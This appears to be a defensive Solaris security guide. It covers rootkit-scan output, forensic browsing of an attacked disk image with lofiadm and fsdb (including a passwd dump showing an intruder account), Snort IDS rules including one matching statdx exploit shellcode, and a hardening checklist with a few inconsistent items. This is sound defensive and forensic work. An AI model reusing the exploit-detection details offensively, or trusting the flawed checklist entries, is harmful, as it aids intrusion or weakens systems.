Searching for ShKit rootkit default files and dirs... nothing found
Searching for AjaKit rootkit default files and dirs... nothing found
Searching for zaRwT rootkit default files and dirs... nothing found
Searching for Madalin rootkit default files... nothing found
Searching for Fu rootkit default files... nothing found
Searching for ESRK rootkit default files... nothing found
Searching for anomalies in shell history files... nothing found
Checking `asp'... not infected
Checking `bindshell'... not infected
Checking `lkm'... chkproc: not tested
Checking `rexedcs'... not found
Checking `sniffer'... Checking `w55808'... not infected
Checking `wted'... not tested: can't exec ./chkwtmp
Checking `scalper'... not infected
Checking `slapper'... not infected
Checking `z2'... not tested: can't exec ./chklastlog
Checking `chkutmp'... not tested: can't exec ./chkutmp
#
```

```
--==+=================+==--
--==+  Evidence process…     +==--
--==+=================+==--
source http://www.securityfocus.com
```

Solaris has a driver called lofi that is a contraction of the words 'loopback file'. Prior to first using lofiadm, the kernel won't show the lofi module as installed. After the first invocation of lofiadm, you should find the lofi driver loaded into the kernel. Use the modinfo command to display the currently loaded kernel modules. The binary lofiadm is included in the SUNWcsu package, one of the core packages of the OS. You shouldn't have to install any extra packages to use the lofi driver or the utilities associated with it. An example of mounting an image via the lofi driver follows: mounting a file system image in Solaris:

```
##==
##== register the image available as a block device via the loopback driver:
# lofiadm -a /mnt/images/2003_02_17_attack.bin
/dev/lofi/1
##==
##== verify that the image is registered
# lofiadm
Block Device            File
/dev/lofi/1             /var/space/images/2003_02_17_attack.bin
##==
##== mount the image read-only so that the image doesn't change on disk
# mount -o ro /dev/lofi/1 /mnt
##==
##== mount the image read-only so that the image doesn't change on disk
# ls -la /mnt
/mnt:
total 586
drwxr-xr-x  21 root     root         512 Dec  3 04:10 .
drwxr-xr-x  21 root     root         512 Dec  3 04:10 ..
-rw-------   1 root     other       4432 Feb 17 04:25 .sh_history
lrwxrwxrwx   1 root     root           9 Nov 28 06:07 bin -> ./usr/bin
drwxr-xr-x   2 root     nobody       512 Nov 28 07:32 cdrom
drwxr-xr-x  15 root     sys         4096 Feb 17 04:14 dev
drwxr-xr-x   4 root     sys          512 Nov 28 06:29 devices
drwxr-xr-x  41 root     sys         3584 Feb 16 17:00 etc
[ output deleted ]
```

```
##==
##== un-mount the image
# umount /mnt
##==
##== unregister the image from the loopback driver
# lofiadm -d /dev/lofi/1
```

fsdb is a program that you need to spend some time with prior to getting into a situation where you have to be thinking quickly. Its command syntax is arcane enough that if you master it, you should probably get a medal for perseverance or an award for spending too much time on computers. The most useful documentation that the OS provides is the fsdb_ufs(1M) man page.

```
using fsdb on a file system image in Solaris:

##==
##== register the image available as a block device via the loopback driver:
# lofiadm -a /mnt/images/2003_02_17_attack.bin
/dev/lofi/1
##==
##== verify that the image is registered:
# lofiadm
Block Device          File
/dev/lofi/1           /mnt/images/2003_02_17_attack.bin
##==
##== browse the image using fsdb:
# fsdb /dev/lofi/1
fsdb of /dev/lofi/1 (Read only) -- last mounted on /
fs_clean is currently set to FSCLEAN
fs_state consistent (fs_clean CAN be trusted)
##==
##== print the super block
/dev/lofi/1 > :sb
        super block:
magic   11954   format  dynamic time    Mon Feb  17 18:36:05 2003
nbfree  605536  ndir    6363    nifree  889612  nffree  8252
ncg     290     ncyl    4631    size    8314960 blocks  8187339
bsize   8192    shift   13      mask    0xffffe000
fsize   1024    shift   10      mask    0xfffffc00
frag    8       shift   3       fsbtodb 1
cpg     16      bpg     3591    fpg     28728   ipg     3392
minfree 1%      optim   time    maxcontig 16    maxbpg  2048
rotdelay 0ms    fs_id[0] 0x0    fs_id[1] 0x0    rps     120
ntrak   27      nsect   133     npsect  133     spc     3591
trackskew 0     interleave 1
nindir  2048    inopb   64      nspf    2
sblkno  16      cblkno  24      iblkno  32      dblkno  456
sbsize  5120    cgsize  5120    cgoffset 72     cgmask  0xfffffff0
csaddr  456     cssize  5120    shift   9       mask    0xfffffe00
cgrotor 187     fmod    0       ronly   0
blocks available in each of 8 rotational positions
cylinder number 0:
[ output deleted ]
##==
##== show current entries in this directory:
/dev/lofi/1 > :ls -l
/:
i#: 2           ./
i#: 2           ../
i#: 2bc0          etc/
i#: 8c02          kernel/
i#: 3           lost+found/
```

```
i#: 8c0         usr/
[ output deleted ]
##==
##== set the current block to be examined to block 2bc0 (/etc) and display the
##==   information in block 2bc0 as an inode:
##== note that :pwd will still show the current location as / because you're
##==  examining data blocks on the file system. You haven't actually left /.
##==  To navigate the directory hierarchy, you need to use :cd <some_path>
/dev/lofi/1 > 2bc0:inode?i
i#: 2bc0          md: d---rwxr-xr-x  uid: 0            gid: 3
ln: 29            bs: 8              sz : c_flags : 0          e00

db#0: 65a8
       accessed: Tue May 27 04:38:06 2003
       modified: Mon May 26 17:00:44 2003
       created : Tue May 27 04:38:06 2003
/dev/lofi/1 > :ls -l
i#: 2c25       nsswitch.conf
i#: 2c21       passwd
i#: 2c1e       path_to_inst
i#: 2c3e       pwck@
i#: 2bee       rc0@
i#: 6042       rc0.d/
i#: 2bef       rc1@
i#: 6901       rc1.d/
i#: 2bf0       rc2@
i#: 71c2       rc2.d/
i#: 2bf1       rc3@
i#: 7a82       rc3.d/
i#: 2bf2       rc5@
i#: 2bf3       rc6@
i#: 2bf4       rcS@
i#: 834e       rcS.d/
i#: 2c2d       shadow
i#: 2c27       syslog.conf
[ output deleted ]
##==
##== set the current block to be examined to block 2c21 (/etc/passwd) and display the
##==   information in block 2c21 as an inode:
/dev/lofi/1 > 2c21:inode?i
i#: 2c21          md: ----r--r--r--  uid: 0            gid: 3
ln: 1             bs: 2              sz : c_flags : 0          20f

db#0: 6554
       accessed: Tue May 27 04:37:58 2003
       modified: Thu Nov 28 08:18:06 2002
       created : Tue May 27 04:37:58 2003
##==
##== display the information in current block as ASCII data:
##== you can display the block in hex using: 0:db:block,*/X
/dev/lofi/1 > 0:db:block,*/c
 1955000:     r  o  o  t  :  x  :  0  :  1  :  S  u  p  e  r
 1955010:     -  U  s  e  r  :  /  :  /  s  b  i  n  /  s  h
 1955020:     \n d  a  e  m  o  n  :  x  :  1  :  1  :  :  /
 1955030:     :  \n b  i  n  :  x  :  2  :  2  :  :  /  u  s
 1955040:     r  /  b  i  n  :  \n s  y  s  :  x  :  3  :  3
 1955050:     :  :  /  :  \n a  d  m  :  x  :  4  :  4  :  A
 1955060:     d  m  i  n  :  /  v  a  r  /  a  d  m  :  \n l
 1955070:     p  :  x  :  7  1  :  8  :  L  i  n  e     P  r
 1955080:     i  n  t  e  r     A  d  m  i  n  :  /  u  s  r
 1955090:     /  s  p  o  o  l  /  l  p  :  \n u  u  c  p  :
 19550a0:     x  :  5  :  5  :  u  u  c  p     A  d  m  i  n
 19550b0:    : / u s r / l i b / u u c p : \n
 19550c0:    n u u c p : x : 9 : 9 : u u c p
 19550d0:      A d m i n : / v a r / s p o o
 19550e0:    l / u u c p p u b l i c : / u s
 19550f0:    r / l i b / u u c p / u u c i c
 1955100:    o \n s m m s p : x : 2 5 : 2 5 :
 1955110:    S e n d M a i l   M e s s a g e
 1955120:      S u b m i s s i o n   P r o g
 1955130:    r a m : / : \n l i s t e n : x :
 1955140:    3 7 : 4 : N e t w o r k   A d m
 1955150:    i n : / u s r / n e t / n l s :
 1955160:    \n n o b o d y : x : 6 0 0 0 1 :
 1955170:    6 0 0 0 1 : N o b o d y : / : \n
 1955180:    n o a c c e s s : x : 6 0 0 0 2
 1955190:    : 6 0 0 0 2 : N o   A c c e s s
 19551a0:      U s e r : / : \n n o b o d y 4
 19551b0:    : x : 6 5 5 3 4 : 6 5 5 3 4 : S
 19551c0:    u n O S   4 . x   N o b o d y :
 19551d0:    / : \n k r h : x : 1 1 1 9 : 1 1
 19551e0:    1 9 : K r 4 D   H a X 0 R   y o
 19551f0:    : / e x p o r t / h o m e / k r
 1955200:    h : / u s r / b i n / k s h \n
[ output deleted ]
##==
##== unregister the image from the loopback driver:
# lofiadm -d /dev/lofi/1
```

```
--==+============+==--
--==+ Dtrace Toolkit   +==--
--==+============+==--
source http://www.sun.com/bigadmin/content/dtrace/
```

DTrace is a comprehensive dynamic tracing framework for the Solaris Operating Environment. DTrace provides a powerful infrastructure to permit administrators, developers, and service personnel to concisely answer arbitrary questions about the behavior of the operating system and user programs.

```
--==+==============================================+==--
 --==+                [I].D.S  signatures              +==--
--==+==============================================+==--
```

An intrusion detection system (IDS) generally detects unwanted manipulations to computer systems, mainly through the Internet. The manipulations may take the form of attacks by crackers.

An intrusion detection system is used to detect many types of malicious network traffic and computer usage that can't be detected by a conventional firewall. This includes network attacks against vulnerable services, data driven attacks on applications, host based attacks such as privilege escalation, unauthorized logins and access to sensitive files, and malware (viruses, trojan horses, and worms).

```
--==+================+==--
--==+ Signatures for snort...+==--
--==+================+==--
source http://www.snort.org
```

```
alert udp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap request admind";
content:"|01 86 F7 00 00|";offset:40;depth:8; reference:arachnids,18; classtype:rpc-portmapdecode;
sid:575; rev:2;)
```

```
alert tcp $EXTERNAL_NET any -> $HOME_NET 111 (msg:"RPC portmap request admind";
content:"|01 86 F7 00 00|";offset:40;depth:8; reference:arachnids,18; classtype:rpc-portmapdecode;
flags:A+; sid:1262; rev:2;)
```

Many of Snort’s signatures are written with pattern matching techniques, which result in many false positives and negatives. In comparison, the protocol analysis techniques used by a few commercial IDS products result in virtually no false positives or false negatives. RPC has some characteristics that make pattern matching difficult. RPC operates using both the TCP and UDP transports and runs on arbitrary ports. This forces the pattern-matching system to examine all packets rather than focus on patterns specific to certain ports. Instead of detecting the actual intrusion, most of Snort’s signatures are in the form of:

```
alert udp $EXTERNAL_NET any -> $HOME_NET 111 (\
msg:"RPC portmap request status"; \
content:"|01 86 B8 00 00|";\
offset:40;depth:8; \
reference:arachnids,15; \
classtype:rpc-portmap-decode; sid:587; rev:2;)
```

Snort contains a few signatures that detect actual RPC attacks.

```
alert udp $EXTERNAL_NET any -> $HOME_NET any (\
msg:"RPC EXPLOIT statdx";\
content: "/bin|c74604|/sh";\
reference:arachnids,442;\
classtype:attempted-admin; sid:1282; rev:1;)
```

This signature attempts to detect the statdx.c exploit, which takes advantage of the “rpc.statdformat-string vulnerability.” This signature searches for the pattern within the network traffic thatwas generated by the attack script.

However, statdx.c isn’t the only script targeting the rpc.statd format-string vulnerability. Another script uses different source code and will not be detected by this signature. Yet another rpc.statd exploit has been written for Linux on the PowerPC, which cannot be detected by any signature searching for Intel x86 machine code.

```
--==+======================================+==--
--==+ Checklist for Solaris Sparc Systems 5.8 / 5.9. +==--
--==+======================================+==--
```

Alex Hernandez v4 2007 Checklist for Solaris Sparc systems 5.8, 5.9			
1. ACCOUNT ADMINISTRATION	Y	N	N/A
§ All users have strong, non-obvious passwords)			
§ Every user has a unique account			
§ No users have the same user ID			
§ Every default account’s password has been changed			
§ All guest accounts are disabled			
§ No shared accounts exist			
§ Format and contents of /etc/password file are appropriate			
and contain only authorized accounts			
§ All accounts that have not been used for 60 or more days are			
disabled			
§ No system accounts that belong to system or application			
developers exist on production systems			
§ All login IDs are required and are assigned the appropriate			
access permissions			
§ Privileged login IDs are strictly limited to those with			
specific need			
§ Information fields in /etc/password are used to specify the			
precise individual or process that uses the account, including			
contact information			

§ No users have a UID of 0			
§ Every administrator has a unique user account			
§ System does not allow user to re-choose passwords after they have expired			
§ Users are required to change passwords every 90 days			
§ All non-essential accounts are disabled (e.g. news)			
§ Each account is assigned a unique password and is changed on initial login			
§ No user accounts have a GID of 0 or 1			
§ All accounts are disabled correctly; NOTE: This can be accomplished replacing the password with “*” and changing the login shell to /bin/false or other non-interactive program.			
§ Separate root passwords are assigned to different machines			
2. SYSTEM ADMINISTRATION	Y	N	N/A
§ root account is not used for activities that can be accomplished using a regular user ID			
§ Ability to use the ‘su’ command to obtain root access is limited to authorized administrators			
§ Administrators log in with individual user accounts and use ‘su’ to obtain root access			
§ Backups are created regularly (daily incremental, weekly full)			
§ Backups are stored securely and in a safe environment (dry, cool, fire protected etc…)			
§ Access to backups is limited to authorized individuals			
§ All commands have appropriate permissions set			
§ All files that are either world or group writable are verified			
§ Use the following command to search for all files beginning with a period in the /u filesystem that are either group ro world writable:			
§ # find /u –perm –2 –o –perm –20 –name .* -ls			
§ ‘.’ is not in any user’s (especially root) search path (users do not execute programs from the current directory)			
§ An administrator’s PATH should not begin or end with a colon (:) and there should not be two colons in sequence.			
§ Users do not have any directory listed in their search path that is not owned by root, other system accounts, or themselves.			
§ Initialization files for user and system accounts (e.g. start-up files, .forward files) have not been modified			
§ No files run from cron can be modified by unauthorized users (verify permissions of all cron jobs)			
§ All cron jobs running are authorized and applicable (cron jobs can be verified in /var/spool/cron/crontabs)			
§ All multi-user systems have at least two designated system administrators			
§ All user login scripts display previous login information			

§ Only approved setuid and setgid programs exist			
§ SUID is not set on shells, editors, or other commands that			
allow an escape to a shell (SUID and SGID programs			
usually reside in one of the following directories:/usr/etc,			
/usr/lib, /usr/ucb, /usr/bin, /bin, /etc, /usr/local/bin,			
/usr/local/etc)			
§ Sticky bit or setuid is used for public/shared directories			
§ The following files are renamed or do not exist:			
§ /etc/rc2.d/S47asppp à /etc/rc2.d/K47asppp			
§ /etc/rc2.d/S60nfs.server à /etc/rc2.d/K60nfs.server			
§ /etc/rc2.d/S470uucp à /etc/rc2.d/K70uucp			
§ /etc/rc2.d/S73nfs.client à /etc/rc2.d/K73nfs.client			
§ /etc/rc2.d/S74autofs à /etc/rc2.d/K74autofs			
§ /etc/rc2.d/S76nscd à /etc/rc2.d/K76nscd			
§ /etc/rc2.d/S80lp à /etc/rc2.d/K80lp			
§ /etc/rc2.d/S88sendmail à /etc/rc2.d/K88sendmail			
§ /etc/rc2.d/S76nscd à /etc/rc2.d/K76nscd			
§ /etc/rc3.d/S15nfs.server à /etc/rc3.d/K15nfs.server			
§ /etc/rc3.d/S76snmpdx à /etc/rc3.d/K76snmpdx			
§ /etc/rc3.d/S77dmi à /etc/rc3.d/K77dmi			
§ finger services are disabled			
§ Network interfaces are not running in “promiscuous” mode			
(verify by using the ifstatus command)			
§ A documented disaster recovery / business continuity plan			
exists and has been approved by the system owner			
§ A documented change control plan exists and has been			
approved by the system owner			
§ Change control plan in 2.24 is currently being implemented			
§ All files on system are periodically verified to ensure			
appropriate mode, ownership, checksums and modification			
dates; Records of verification process are kept off-line			
§ root password is changed every 30 days			
§ All duplicate commands that reside on the system are			
recorded, resolved and understood (ensure there are no			
Trojan Horses resident)			
§ All device files reside in /dev			
3. ACCESS CONTROL	Y	N	N/A
§ All software application passwords must be changed from			
their default			
§ Every account must have a password (follow password			
guidelines outlined in Appendix section 7)			
§ Passwords are not stored in plaintext anywhere on the			
system (e.g. text files, shell scripts, command files)			
§ Password checkers (e.g. Crack, John the ripper) are run			
regularly to ensure password strength			
§ Passwords are not communicated over e-mail			
§ Passwords are encrypted when passed over multi-user			

networks			
§ Booting to single user mode requires a password			
§ A banner is the first message received when logging in. The			
banner details the system owner and describes the terms and			
condition of use.			
§ Users are automatically logged out after 15 minutes of inactivity			
§ A maximum of ten failed login attempts is allowed before			
locking out the session for 60 minutes			
§ Login sessions are terminated immediately when dial-in			
connections are broken.			
§ root login is restricted to the console (users should only			
login as root in emergencies). This is done by enabling the			
CONSOLE line in /etc/default/login.			
§ FTP use is not permitted to root (add root to /etc/ftpusers)			
§ Untrusted programs are not run as root			
§ No write access is granted to ‘other’ for any terminal device			
file once it has been assigned to a user			
§ All access for ‘other’ is denied to disk partition device files,			
/dev/kmem, /dev/mem			
§ Access to the at and cron (crontab) commands are restricted			
to system administrators			
§ The default umask for all users is 027			
§ Permissions for system programs are set to the following:			
§ Administrative executable binaries – 700			
§ Public exectuble binaries – 751			
§ Public shell scripts – 755			
§ Administrative shell scripts – 700			
§ Permissions for the following devices are set to:			
§ Disk devices – 640			
§ Tap devices – 660			
§ All other devices – 600			
§ Tty and pseudo-tty devices – 622 (and owned by root)			
§ /dev/null devices – 777			
§ HOME directories have permissions of 710			
§ /var/adm/utmp has permissions of 644			
§ Each user’s .profile, .kshrc, .cshrc, .login, and other			
initialization files have permissions of 600			
§ The DNS database files and /etc/named file deny all access			
§ /etc/hosts.equiv and /etc/hosts.lpd have permissions 644			
§ All .rhosts and .netrc files have permissions 600			
§ /.rhosts file (if it exists) has permissions 600			
§ /etc/inetd.conf has permissions 600			
§ /etc/aliases has permissions 644			
§ Only authorized users have membership in privileged groups			
(verify groups such as: daemon, bin, tty, staff, adm, sys,			
mail, uucp, rje, operator)			
§ Login passwords are not used as encryption keys			
§ Membership in wheel group (other other administrative			

groups) is strictly limited to authorized accounts			
§ Password file shadowing is enabled			
§ su logs are reviewed regularly for unauthorized login			
attempts. Repeated violations are investigated.			
§ No file in /etc is group writable. (chmod –R g-w /etc)			
4. LOGGING AND AUDITING			
§ In addition to syslog, login information is logged in the			
‘loginlog’ file.			
§ touch /var/adm/loginlog			
§ chmod 600 /var/adm/loginlog			
§ chgrp sys /var/adm/loginlog			
§ /var/adm/messages and /var/adm/sulog are scanned regularly			
for bad su attempts			
§ lastlog files are saved to track logins			
§ Log files are backed up daily (before they are overwritten)			
§ All logins and logouts are recorded is syslog			
§ Access to logs is limited to authorized system administrators			
(e.g. su log set to 600)			
§ Logs containing security information must be kept for a			
minimum of one year (off-line)			
5. OPERATING SYSTEM PATCHES AND INSTALLED SOFTWARE	Y	N	N/A
§ All the latest ILLC approved operating system patches are			
installed. (use showrev –p to list the patches currently			
installed on the system.) The latest patches can be obtained			
from http://sunsolve.Sun.Com/pug-cgi/patchpage.pl :			
§ No unauthorized software is installed			
§ Software installed on system has been obtained from			
trustworthy sources and verified using a checksum			
§ Insure that all software installed is the most current version			
(sendmail, ftp, bind)			
§ All commercial software has been obtained legally			
6. NETWORK SERVICES	Y	N	N/A
§ The following services are disabled. (To disable, preceed each			
of the following lines in the /etc/inetd.conf file with a pound			
sign, #)			
§ name dgram udp wait root			
/usr/sbin/in.tnamed in.tnamed			
§ shell stream tcp nowait root			
/usr/sbin/in.rshd in.rshd			
§ login stream tcp nowait root			
/usr/sbin/in.rlogind in.rlogind			
§ exec stream tcp nowait root			
/usr/sbin/in.rexecd in.rexecd			
§ comsat dgram udp wait root			
/usr/sbin/in.comsat in.comsat			

§ talk dgram udp wait root /usr/sbin/in.talkd			
in.talkd			
§ uucp stream tcp nowait oort			
/usr/sbin/in.uucpd in.uucpd			
§ finger stream tcp nowait nobody			
/usr/sbin/in.fingerd in.fingerd			
§ time stream tcp nowait root internal			
§ time dgram udp wait root internal			
§ echo stream tcp nowait root internal			
§ echo dgram udp wait root internal			
§ discard stream tcp nowait root internal			
§ discard dgram tcp nowait root internal			
§ daytime stream tcp nowait root internal			
§ daytime stream udp wait root internal			
§ chargen stream tcp nowait root internal			
§ chargen stream udp wait root internal			
§ 100232/10 tli rpc/udp wait root			
/usr/sbin/sadmindd sadmind			
§ rquotad/1 tli rpc/datagram_v wait root			
/usr/lib/nfs/rquotad rquotad			
§ rusersd/2-3 tli rpc/datagram_v, circuit_v			
wait root			
/usr/lib/netsvc/rusers/rpc.rusersd			
rpc.rusersd			
§ sprayd/1 tli rpc/datagram_v wait root			
/usr/lib/netsvc/spray/rpc.sprayd rpc.sprayd			
§ walld/1 tli rpc/datagram_v wait root			
/usr/lib/netsvc/rwall/rpc.rwalld rpc.rwalld			
§ rstatd/2-4 tli rpc/datagram_v wait root			
/usr/lib/netsvc/rstat/rpc.rstatd rpc.rstatd			
§ No network configuration files contain a “+” on a line by			
itself			
§ The /etc/ftpusers file contains, at a minimum, entries for			
root, sysdiag, sundiag, sunc, uucp, bin, operator, daemon,			
audit and all other non-interactive accounts (whether or not			
ftp is enabled on the system)			
§ Full DNS domain names are used for any machine name			
listed in files such as /etc/hosts.lpd, /etc/hosts.equiv,			
/etc/exports, /etc/netgroup			
§ The /etc/hosts.equiv file is not empty (if it exists)			
§ telnet is disabled if it is not required			
ITEM Y N N/A			
§ FTP is disabled if it is not required			
§ All r-commands are disabled (remove /etc/hosts.equiv and			
/.rhosts and all “r” commands from /etc/inetd.conf; execute			
kill –HUP on the inetd process			
§ No users names exist in the hosts.equiv file (if it exists)			
§ All host names (primary and aliases) on the network are			

unique			
§ TFTP is disabled (If TFTP cannot be disabled permanently,			
it should be enabled on when needed and disabled all other			
times)			
§ Anonymous FTP is disabled			
§ UUCP is not enabled if not needed			
§ NFS is disabled if not needed			
§ rm /etc/dfs/dfstab			
§ mv /etc/rc3.d/S15nfs.server /etc/rc3.d/K15nfs.server			
(removes server daemon) OR			
§ mv /etc/rc2.d/S73nfs.client /etc/rc3.d/K73nfs.client			
(removes client daemon)			
§ NFS server specifies specific host names or netgroups			
allowed to mount file systems			
§ NFS server permits only root access to local management			
server			
§ Each user in the NFS domain has the same, unique UID on			
all hosts			
§ All file systems are exported as read only			
§ All file systems except /usr are mounted to ignore SUID			
permissions			
§ All routing functions are disabled (touch /etc/notrouter)			
§ /etc/aliases does not contain ‘decode’ or ‘uudecode’			
§ NIS tables do not include root or other system accounts			
§ All mail to system accounts is sent to administrators			
§ Mailer will not deliver a file or execute a command			
contained in an address line			
§ No IRC servers are installed			
§ No MUDs are installed			
§ fsirand is run regularly on all exported NFS partitions			

alt3kx labs

w4ck1ng.com ELHACKER.NET milw0rm darknet HACK TO LEARN